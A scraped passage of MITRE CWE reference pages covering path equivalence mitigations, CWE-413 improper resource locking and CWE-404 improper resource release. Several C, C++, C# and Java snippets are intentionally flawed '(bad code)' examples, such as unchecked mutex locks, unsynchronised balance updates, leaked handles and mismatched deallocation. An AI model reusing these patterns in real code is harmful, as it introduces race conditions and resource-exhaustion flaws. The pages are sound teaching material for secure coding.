Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Some of these manipulations could be effective in path traversal issues, too.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPath Equivalence
CERT C Secure CodingFIO02-CCanonicalize path names originating from untrusted sources
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Type
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Name
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Other_Notes, Potential_Mitigations, Relationship_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Applicable_Platforms, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations, Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Equivalence
2009-05-27Failure to Resolve Path Equivalence

CWE-413: Improper Resource Locking

Weakness ID: 413
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not lock or does not correctly lock a resource when the product must have exclusive access to the resource.
+ Extended Description
When a resource is not properly locked, an attacker could modify the resource while it is being operated on by the product. This might violate the product's assumption that the resource will not change, potentially leading to unexpected behaviors.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.667Improper Locking
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.591Sensitive Data Storage in Improperly Locked Memory
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.411Resource Locking Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Availability

Technical Impact: Modify Application Data; DoS: Instability; DoS: Crash, Exit, or Restart

+ Demonstrative Examples

Example 1

The following function attempts to acquire a lock in order to perform operations on a shared resource.

(bad code)
Example Language:
void f(pthread_mutex_t *mutex) {
pthread_mutex_lock(mutex);

/* access shared resource */


pthread_mutex_unlock(mutex);
}

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

(good code)
Example Language:
int f(pthread_mutex_t *mutex) {
int result;

result = pthread_mutex_lock(mutex);
if (0 != result)
return result;


/* access shared resource */


return pthread_mutex_unlock(mutex);
}

Example 2

This Java example shows a simple BankAccount class with deposit and withdraw methods.

(bad code)
Example Language: Java 
public class BankAccount {

// variable for bank account balance
private double accountBalance;

// constructor for BankAccount
public BankAccount() {
accountBalance = 0;
}

// method to deposit amount into BankAccount
public void deposit(double depositAmount) {

double newBalance = accountBalance + depositAmount;
accountBalance = newBalance;
}

// method to withdraw amount from BankAccount
public void withdraw(double withdrawAmount) {

double newBalance = accountBalance - withdrawAmount;
accountBalance = newBalance;
}

// other methods for accessing the BankAccount object
...
}

However, the deposit and withdraw methods have shared access to the account balance private class variable. This can result in a race condition if multiple threads attempt to call the deposit and withdraw methods simultaneously where the account balance is modified by one thread before another thread has completed modifying the account balance. For example, if a thread attempts to withdraw funds using the withdraw method before another thread that is depositing funds using the deposit method completes the deposit then there may not be sufficient funds for the withdraw transaction.

To prevent multiple threads from having simultaneous access to the account balance variable the deposit and withdraw methods should be synchronized using the synchronized modifier.

(good code)
Example Language: Java 
public class BankAccount {
...
// synchronized method to deposit amount into BankAccount
public synchronized void deposit(double depositAmount) {
...
}

// synchronized method to withdraw amount from BankAccount
public synchronized void withdraw(double withdrawAmount) {
...
}

...
}

An alternative solution is to use a lock object to ensure exclusive access to the bank account balance variable. As shown below, the deposit and withdraw methods use the lock object to set a lock to block access to the BankAccount object from other threads until the method has completed updating the bank account balance variable.

(good code)
Example Language: Java 
public class BankAccount {
...
// lock object for thread access to methods
private ReentrantLock balanceChangeLock;

// condition object to temporarily release lock to other threads
private Condition sufficientFundsCondition;

// method to deposit amount into BankAccount
public void deposit(double amount) {

// set lock to block access to BankAccount from other threads
balanceChangeLock.lock();
try {
double newBalance = balance + amount;
balance = newBalance;

// inform other threads that funds are available
sufficientFundsCondition.signalAll();
} catch (Exception e) {...}
finally {
// unlock lock object
balanceChangeLock.unlock();
}
}

// method to withdraw amount from bank account
public void withdraw(double amount) {

// set lock to block access to BankAccount from other threads
balanceChangeLock.lock();
try {
while (balance < amount) {

// temporarily unblock access

// until sufficient funds are available
sufficientFundsCondition.await();
}
double newBalance = balance - amount;
balance = newBalance;
} catch (Exception e) {...}
finally {
// unlock lock object
balanceChangeLock.unlock();
}
}
...
}
+ Observed Examples
ReferenceDescription
Chain: an operating system kernel has insufficent resource locking (CWE-413) leading to a use after free (CWE-416).
+ Potential Mitigations

Phase: Architecture and Design

Use a non-conflicting privilege scheme.

Phases: Architecture and Design; Implementation

Use synchronization when locking a resource.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.852The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.853The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.986SFP Secondary Cluster: Missing Lock
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1142SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInsufficient Resource Locking
The CERT Oracle Secure Coding Standard for Java (2011)VNA00-JEnsure visibility when accessing shared primitive variables
The CERT Oracle Secure Coding Standard for Java (2011)VNA02-JEnsure that compound operations on shared variables are atomic
The CERT Oracle Secure Coding Standard for Java (2011)LCK00-JUse private final lock objects to synchronize classes that may interact with untrusted code
Software Fault PatternsSFP19Missing Lock
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2010-04-30Martin SeborCisco Systems, Inc.
Provided Demonstrative Example
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples
2010-09-27CWE Content TeamMITRE
updated Description, Name
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2010-09-27Insufficient Resource Locking

CWE-404: Improper Resource Shutdown or Release

Weakness ID: 404
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not release or incorrectly releases a resource before it is made available for re-use.
+ Extended Description
When a resource is created or allocated, the developer is responsible for properly releasing the resource as well as accounting for all potential paths of expiration or invalidation, such as a set period of time or revocation.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.299Improper Check for Certificate Revocation
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.459Incomplete Cleanup
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.763Release of Invalid Pointer or Reference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.772Missing Release of Resource after Effective Lifetime
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1266Improper Scrubbing of Sensitive Data from Decommissioned Device
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.405Asymmetric Resource Consumption (Amplification)
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.239Failure to Handle Incomplete Element
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.619Dangling Database Cursor ('Cursor Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.401Missing Release of Memory after Effective Lifetime
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.459Incomplete Cleanup
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.763Release of Invalid Pointer or Reference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.772Missing Release of Resource after Effective Lifetime
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.401Missing Release of Memory after Effective Lifetime
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.772Missing Release of Resource after Effective Lifetime
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.775Missing Release of File Descriptor or Handle after Effective Lifetime
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.761Free of Pointer not at Start of Buffer
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.762Mismatched Memory Management Routines
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.763Release of Invalid Pointer or Reference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.772Missing Release of Resource after Effective Lifetime
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.775Missing Release of File Descriptor or Handle after Effective Lifetime
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability
Other

Technical Impact: DoS: Resource Consumption (Other); Varies by Context

Most unreleased resource issues result in general software reliability problems, but if an attacker can intentionally trigger a resource leak, the attacker might be able to launch a denial of service attack by depleting the resource pool.
Confidentiality

Technical Impact: Read Application Data

When a resource containing sensitive information is not correctly shutdown, it may expose the sensitive data in a subsequent allocation.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following method never closes the new file handle. Given enough time, the Finalize() method for BufferReader should eventually call Close(), but there is no guarantee as to how long this action will take. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, the Operating System could use up all of the available file handles before the Close() function is called.

(bad code)
Example Language: Java 
private void processFile(string fName)
{
BufferReader fil = new BufferReader(new FileReader(fName));
String line;
while ((line = fil.ReadLine()) != null)
{
processLine(line);
}
}

The good code example simply adds an explicit call to the Close() function when the system is done using the file. Within a simple example such as this the problem is easy to see and fix. In a real system, the problem may be considerably more obscure.

(good code)
Example Language: Java 
private void processFile(string fName)
{
BufferReader fil = new BufferReader(new FileReader(fName));
String line;
while ((line = fil.ReadLine()) != null)
{
processLine(line);
}
fil.Close();
}

Example 2

This code attempts to open a connection to a database and catches any exceptions that may occur.

(bad code)
Example Language: Java 
try {
Connection con = DriverManager.getConnection(some_connection_string);
}
catch ( Exception e ) {
log( e );
}

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

Example 3

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

(bad code)
Example Language: C# 
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...

Example 4

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

(bad code)
Example Language:
int decodeFile(char* fName) {
char buf[BUF_SZ];
FILE* f = fopen(fName, "r");
if (!f) {
printf("cannot open %s\n", fName);
return DECODE_FAIL;
}
else {
while (fgets(buf, BUF_SZ, f)) {
if (!checkChecksum(buf)) {
return DECODE_FAIL;
}
else {
decodeBlock(buf);
}
}
}
fclose(f);
return DECODE_SUCCESS;
}

Example 5

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

(bad code)
Example Language: C++ 
class A {
void foo();
};
void A::foo(){
int *ptr;
ptr = (int*)malloc(sizeof(int));
delete ptr;
}

Example 6

In this example, the program calls the delete[] function on non-heap memory.

(bad code)
Example Language: C++ 
class A{
void foo(bool);
};
void A::foo(bool heap) {
int localArray[2] = {
11,22
};
int *p = localArray;
if (heap){
p = new int[2];
}
delete[] p;
}
+ Observed Examples
ReferenceDescription
Does not shut down named pipe connections if malformed data is sent.
Sockets not properly closed when attacker repeatedly connects and disconnects from server.
Chain: Return values of file/socket operations are not checked (CWE-252), allowing resultant consumption of file descriptors (CWE-772).
+ Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

Phase: Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free memory in a function. If you allocate memory that you intend to free upon completion of the function, you must be sure to free the memory at all exit points for that function including error conditions.

Phase: Implementation

Memory should be allocated/freed using matching functions such as malloc/free, new/delete, and new[]/delete[].

Phase: Implementation

When releasing a complex object or structure, ensure that you properly dispose of all of its member components, not just the object itself.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
Improper release or shutdown of resources can be primary to resource exhaustion, performance, and information confidentiality problems to name a few.
Resultant
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
Improper release or shutdown of resources can be resultant from improper error handling or insufficient resource tracking.
+ Detection Methods

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Resource clean up errors might be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the product under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3987PK - Code Quality
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.730OWASP Top Ten 2004 Category A9 - Denial of Service
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7522009 Top 25 - Risky Resource Management
